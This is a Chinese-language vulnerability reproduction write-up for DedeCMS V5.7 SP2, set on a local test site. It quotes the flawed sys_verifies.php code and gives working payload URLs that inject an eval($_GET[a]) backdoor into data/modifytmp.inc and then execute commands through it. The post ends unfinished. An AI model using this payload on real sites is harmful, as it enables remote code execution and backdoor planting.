前言:为了简便,试用了phpstudy
下载dedecms V5.7 sp2
使用phpstudy新建网站www.dedtest.com,并将下载的dedecms V5.7 sp2复制到其网站目录下,然后建站
开始复现
漏洞的只要原因是出现在了C:\phpstudy_pro\WWW\www.dedtest.com\dede文件夹下的sys_varifiles.php文件,一下为代码:
/*-----------------------
下载文件
function _getfiles()
------------------------*/
else if ($action == 'getfiles')
{
if(!isset($refiles))
{
ShowMsg("你没进行任何操作!","sys_verifies.php");
exit();
}
$cacheFiles = DEDEDATA.'/modifytmp.inc';
$fp = fopen($cacheFiles, 'w');
fwrite($fp, '<'.'?php'."\r\n");
fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
$dirs = array();
$i = -1;
$adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
foreach($refiles as $filename)
{
$filename = substr($filename,3,strlen($filename)-3);
if(preg_match("#^dede/#i", $filename))
{
$curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );
} else {
$curdir = GetDirName($filename);
}
if( !isset($dirs[$curdir]) )
{
$dirs[$curdir] = TestIsFileDir($curdir);
}
$i++;
fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
}
fwrite($fp, '$fileConut = '.$i.';'."\r\n");
fwrite($fp, '?'.'>');
fclose($fp);
$dirinfos = '';
if($i > -1)
{
$dirinfos = '<tr bgcolor="#ffffff"><td colspan="2">';
$dirinfos .= "本次升级需要在下面文件夹写入更新文件,请注意文件夹<font color='red'>是否有写入权限:</font><br />\r\n";
foreach($dirs as $curdir)
{
$dirinfos .= $curdir['name']." 状态:".($curdir['writeable'] ? "[√正常]" : "<font color='red'>[×不可写]:请创建该目录</font>")."<br />\r\n";
}
$dirinfos .= "</td></tr>\r\n";
}
$doneStr = "<iframe name='stafrm' src='sys_verifies.php?action=down&curfile=0' frameborder='0' id='stafrm' width='100%' height='100%'></iframe>\r\n";
include(DEDEADMIN.'/templets/sys_verifies_getfiles.htm');
exit();
}
/*-----------------------
下载文件
function _down()
------------------------*/
else if($action=='down')
{
$cacheFiles = DEDEDATA.'/modifytmp.inc';
require_once($cacheFiles);
if($fileConut==-1 || $curfile > $fileConut)
{
ShowMsg("已下载所有文件<br /><a href='sys_verifies.php?action=apply'>[直接替换文件]</a> <a href='#'>[我自己手动替换文件]</a>","javascript:;");
exit();
}
//检查临时文件保存目录是否可用
MkTmpDir($tmpdir, $files[$curfile]);
$downfile = UPDATEHOST.$cfg_soft_lang.'/source/'.$files[$curfile];
$dhd = new DedeHttpDown();
$dhd->OpenUrl($downfile);
$dhd->SaveToBin(DEDEDATA.'/'.$tmpdir.'/'.$files[$curfile]);
$dhd->Close();
ShowMsg("成功下载文件:{$files[$curfile]}; 继续下载下一个文件。","sys_verifies.php?action=down&curfile=".($curfile+1));
exit();
}
可以了解到data文件夹下会生成一个一个.inc文件,所谓inc文件即为“include file”,也就是“被包含(引用、调用)的文件”,但是这个inc文件攻击者是有控制权的,由此可以构造payload:
http://www.dedtest.com/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\%22;eval($_GET[a]);die();//
可以看到已经成功的写入了inc恶意文件,在data文件夹下,打开查看一下,确实是我们写入的恶意后门代码;
执行命令:
http://www.dedtest.com/dede/sys_verifies.php?action=down&a=phpinfo();
成功结果如下:
困了,明天在补充。